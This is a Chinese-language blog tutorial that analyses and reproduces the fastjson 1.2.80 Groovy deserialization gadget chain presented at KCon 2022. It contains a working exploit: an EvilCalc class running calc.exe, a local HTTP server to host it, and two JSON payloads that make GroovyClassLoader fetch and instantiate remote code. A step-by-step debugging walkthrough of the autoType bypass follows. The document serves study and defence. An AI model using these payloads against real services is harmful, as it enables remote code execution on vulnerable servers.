本文已制作成视频带大家沉浸式体验 fastjson1.2.80的Groovy利用链

该漏洞为浅蓝师傅在kcon2022的《Hacking JSON》议题中提出来的,下面给出会议ppt的链接

https://github.com/knownsec/KCon/blob/master/2022/Hacking%20JSON%E3%80%90KCon2022%E3%80%91.pdf

一、 漏洞绕过原理

该漏洞适用的fastjson版本为 ( 1.2.72 , 1.2.80 ]

在学习漏洞之前,我们需要了解一些前置知识

  • 前置知识1:类继承自期望类,且不在黑名单,就可以被fastjson正常的反序列化并加入到缓存

image-20240120160150730

判断当前类继承自期望类,加载该类并加入缓存对应代码在ParserConfig#checkAutoType中:

image-20240120163611654

  • 前置知识2:fastjson在1.2.73版本的修改中,对方法JavaBeanDeserializer#createInstance进行了修改。当类属性与显示指定的期望类不相同时,会对该类属性进行实例化,被实例化之后的属性(包括setter方法的参数、public field参数或者是构造方法的参数)的类型会被添加到反序列化缓存TypeUtils.mappings中。

image-20240120160551689

关于JavaBean 实例化机制:

image-20240120170850800

在1.2.80版本的漏洞中,我们使用Throwable 作为期望类,因为Throwable 类及其子类对应的反序列化器为ThrowableDeserializer

image-20240120172403555

那么我们来看ThrowableDeserializer这个类的deserialze方法,其中调用checkAutoType方法且设置了期望类。

image-20240120172805290

然后通过getDeserializer拿到对应的反序列化器,然后用反序列化器拿到对应字段的字段反序列化实例fieldDeserializer

image-20240120174218439

如果value不是fieldClass类型的会进入TypeUtils#cast进行类型转换

image-20240120174738631

在这个函数中会根据传入对象的具体类型来进行对应的类型转换操作,然后进入TypeUtils#castToJavaBean

image-20240120175341061

其中调用了JavaBeanDeserializer#createInstance方法,也就是我们在前置知识2中讲到的

因此,我们可以根据以下条件查找满足条件的gadget

image-20240120161300064

  • 类为Throwable的子类;
  • setter方法的参数类型、public field参数类型或者是构造方法的参数类型,实例化之后的类可利用。

二、Groovy利用链分析

下面来具体分析一下Groovy这条链

1.搭建复现环境

pom添加依赖

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.80</version>
</dependency>
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>3.0.8</version>
<type>pom</type>
</dependency>

首先构造恶意类EvilCalc,编译该类,然后将EvilCalc.class放到任意目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;

@GroovyASTTransformation
public class EvilCalc implements ASTTransformation {
public EvilCalc() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}

}

public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) {
}
}

在该目录下启动一个http服务

1
python -m http.server 8080 --bind 127.0.0.1

然后在该目录下创建一个META-INF/services/org.codehaus.groovy.transform.ASTTransformation文件,在文件中写入恶意类的名称;

image-20240120180251562

创建测试类,写入如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static void main(String[] args) {
String payload1 = "{\n" +
" \"@type\":\"java.lang.Exception\",\n" +
" \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
" \"unit\":{}\n" +
"}";
String payload2 = "{\n" +
" \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
" \"config\":{\n" +
" \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
" \"classpathList\":\"http://127.0.0.1:8080/\"\n" +
" }\n" +
"}";
try{
JSONObject.parse(payload1);
}catch (Exception e){
JSONObject.parse(payload2);
}

}

对应的json字符串为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}

{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:8080/"
}
}

运行测试类,弹出计算器为成功

2.调试并分析漏洞利用过程(payload1)

当识别到json字符串中的@type时,进入checkAutoType方法,当前要加载的类为java.lang.Exception

image-20240120191815105

在该方法中,直接从Mapping中取出Exception类(在TypeUtils类加载之后mapping中会添加一些类,包括Exception类)

image-20240120192745194

然后回到DefaultJSONParser类继续执行,根据拿到的类java.lang.Exception获取反序列化器

image-20240120193535235

因为java.lang.Exception是继承 Throwable类的,所以获取到的是ThrowableDeserializer类型的反序列化器;

image-20240120194012930

拿到反序列化器后,会调用其deserialze方法

image-20240120232340592

也就是调用ThrowableDeserializerdeserialze方法,其中会获取到第二个@type字段中的类名,带入checkAutoType(),并且把Throwable.class作为期望类。

image-20240120232839110

跟进checkAutoType()方法,先设置expectClassFlagtrue

image-20240120233634356

然后判断类是否在黑名单

image-20240120233756768

最后会加载类org.codehaus.groovy.control.CompilationFailedException,然后将其放入Mapping

image-20240120234015073

加载之后回到ThrowableDeserializer#deserialze,调用TypeUtils.cast处理类属性。

image-20240120235525323

然后就是我们在前面的漏洞原理讲的,调用到castToJavaBean

image-20240120235632792

然后在castToJavaBean方法中调用了getDeserializer获取了一个javaBean反序列化器,并且调用了createInstance方法对该类属性进行实例化

image-20240121000107490

在调用getDeserializer时,会将ProcesssingUnit对应的反序列化器加入到deserializers

image-20240121000039135

之后会调用setValue,但是我们给的值为空,所以触发异常

image-20240121000619988

image-20240121000727655

最后会在测试类中抛出异常,捕获异常并进入payload2

1
2
3
catch (Exception e){
JSONObject.parse(payload2);
}

3.调试并分析漏洞利用过程(payload2)

同样,识别到key为”@type”时,设置typeName为其值”org.codehaus.groovy.control.ProcessingUnit

然后同样进入checkAutoType方法

image-20240121001431863

那这个类怎么加载呢,往前翻一下看到我加粗的地方,图片放下面:image-20240121001523345

再回到checkAutoType方法,根据typeNamedeserializers取出Class类型的对象org.codehaus.groovy.control.ProcessingUnit

image-20240121002052377

image-20240121002324592

然后获取其对应的反序列化器,调用JavaBeanDeserializer类的deserialze方法

image-20240121112743989

继续跟进deserialze方法,设置typeNameorg.codehaus.groovy.tools.javac.JavaStubCompilationUnit

image-20240121113541054

设置期望类为class org.codehaus.groovy.control.ProcessingUnit,然后进入checkAutoType

image-20240121113707870

这里会像之前一样,在checkAutoType中调用TypeUtils.loadClass加载类然后调用TypeUtils.addMapping将其加入mapping。然后调用JavaBeanDeserializer类的deserialze方法

image-20240121114945363

跟进deserialze方法,调用了parseField方法

image-20240121115545433

进入parseField方法,先获得一个fieldValueDeserilizer,用来解析json字符串"@type":"org.codehaus.groovy.control.CompilerConfiguration", "classpathList":"http://127.0.0.1:8080/"。然后调用deserialze方法反序列化类CompilerConfiguration

image-20240121120321270

我们可以看到,调用deserialze方法后,value为一个CompilerConfiguration类型的对象,且属性classpath被赋值为http://127.0.0.1:8080/

image-20240121121304100

接着下面就是把CompilerConfiguration对象赋给JavaStubCompilationUnitconfig参数;

image-20240121121710678

image-20240121121825562

然后使用反射拿到一个Constructor,调用构造方法创建一个实例,传入的参数为params,分别是刚才的CompilerConfiguration对象和两个null

image-20240121122102084

然后跟进JavaStubCompilationUnit的构造方法,其中先调了父类的构造方法

image-20240121161858708

在构造方法中调用setClassLoader方法,该方法设置classLoder为一个新创建的GroovyClassLoader类的实例

image-20240121162212265

image-20240121162307221

GroovyClassLoader的构造方法中,会从config中获取classpath添加进GroovyClassLoader对象;

image-20240121162628626

然后从addPhaseOperations方法调用到getResources方法

image-20240121163327851

image-20240121163408242

在该方法中会使用双亲委派的方式加载远程资源,然后调用findResources方法

image-20240121163625889

加载到之后会把其中的内容放到transformNames

image-20240121165212634

然后调用addPhaseOperationsForGlobalTransforms方法

image-20240121165302022

跟进方法,在该方法中对transformNames中的类进行加载并实例化

image-20240121165617781

在实例化时调用EcilCalc类的构造方法,触发恶意操作。